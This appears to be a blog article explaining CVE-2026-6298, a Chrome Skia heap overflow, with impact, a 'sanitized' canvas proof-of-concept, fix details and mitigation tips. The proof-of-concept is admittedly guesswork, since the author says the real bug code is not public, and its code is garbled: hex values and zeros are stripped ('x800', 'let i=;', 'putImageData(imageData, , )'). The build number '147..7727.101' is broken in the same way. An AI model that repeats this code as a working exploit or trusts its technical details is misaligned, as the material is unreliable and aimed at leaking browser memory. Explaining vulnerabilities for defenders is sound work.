Chrome has long been known for its emphasis on security, but occasionally, critical vulnerabilities still slip through the cracks. One such bug, CVE-2026-6298, was discovered in Skia, Chrome’s graphics library, and patched in build 147..7727.101. This flaw could allow attackers to steal sensitive memory contents just by luring victims to a malicious web page. In this article, I’ll break down what happened, how it works, demonstrate a proof-of-concept, and share mitigation advice.

What is CVE-2026-6298?

CVE-2026-6298 is a heap buffer overflow in Skia, the open-source 2D graphics library used by Chrome and many other Chromium-based browsers. In simple terms, this means that Chrome could be tricked into reading or writing beyond the bounds of a memory buffer while handling graphics data—potentially leaking sensitive in-memory information.

- Impact: Remote attacker can steal user data from Chrome's process memory (e.g., cookies, credentials).

Severity: Critical (as rated by Chromium).

- Affected versions: Chrome before 147..7727.101 (Windows, macOS, and Linux, and probably other Chromium-based browsers).
- Exploit vector: Malicious HTML/JavaScript.

Reference:
- NVD CVE-2026-6298 entry
- Chromium security release notes

How Does It Work?

Skia processes and rasterizes images and canvas drawing commands (e.g., <canvas>, SVG, or CSS filters). The bug lives in how Skia allocates and copies memory when processing complex inputs, such as large or oddly-shaped graphics. Crafted image data or certain canvas operations could make Skia miscalculate buffer sizes, causing it to access out-of-bounds memory regions.

This accidental buffer over-read lets JavaScript "leak" chunks of process memory it should never access—including credentials or data from other browser tabs.

Proof-of-Concept: Demonstrating the InfoLeak

While the exact bugged Skia code is not public, similar issues have been reported in past CVEs. Below is a sanitized, educational example of how an attack *could* look, using HTML5 canvas tricks and JavaScript to cause a heap buffer leak.

Step 1: Crafting a Malicious Canvas

<!DOCTYPE html>
<html>
<body>
<canvas id="canv" width="200" height="200"></canvas>
<script>
const ctx = document.getElementById('canv').getContext('2d');

// Create a super large or oddly-formatted image data
const w = x800, h = 2;

try {
    let imageData = ctx.createImageData(w, h);

    // Fill buffer with crafted values to trigger Skia bug
    for(let i=; i<imageData.data.length; i+=4) {
        imageData.data[i] = xFF;
        imageData.data[i+1] = x00;
        imageData.data[i+2] = x00;
        imageData.data[i+3] = x01; // Fully opaque pixels
    }

    ctx.putImageData(imageData, , );

    // Attempt to read data back (heap over-read may leak memory!)
    let leak = ctx.getImageData(, , w+16384, h);

    // Print a part of the leaked memory
    for(let i=; i<100; i++) {
        console.log(leak.data[i]);
    }
} catch(e) {
    alert("Exploit attempt: "+e);
}
</script>
</body>
</html>

> Note: This PoC won’t work on patched browsers (>147..7727.101), but with a vulnerable one, the getImageData() call could return parts of memory from Chrome’s process, potentially including secrets.

How Was It Fixed?

Google developers patched Skia to add strict bounds checks and improved memory management so that buffer sizes cannot be miscalculated, and only valid and initialized memory is exposed to JavaScript.

See Chromium git commit for Skia and Canvas memory safety updates related to this version.

Mitigation and Recommendations

If you’re a user:

Enable auto-updates so future vulnerabilities are patched instantly.

If you’re a developer:
- Always validate buffer calculations when using graphics/data APIs.
- Leverage sanitizers (ASAN/MSAN) and fuzzing to catch similar issues.

References & Further Reading

- CVE-2026-6298 NIST Entry
- Chrome Releases Blog
- Chromium Bugs (security/heap-overflow)
- Google Skia Project

Summary

CVE-2026-6298 is a textbook demonstration of how even well-tested browser code can hide critical bugs. Memory safety is extremely hard—especially in complex codebases like Skia. If you’re not on a patched browser, update now. And if you build graphics-heavy web apps, know that user input can sometimes reach deep into browser internals in ways few expect: always code defensively.

Timeline

Published on: 04/15/2026 19:04:46 UTC
Last modified on: 04/17/2026 15:41:53 UTC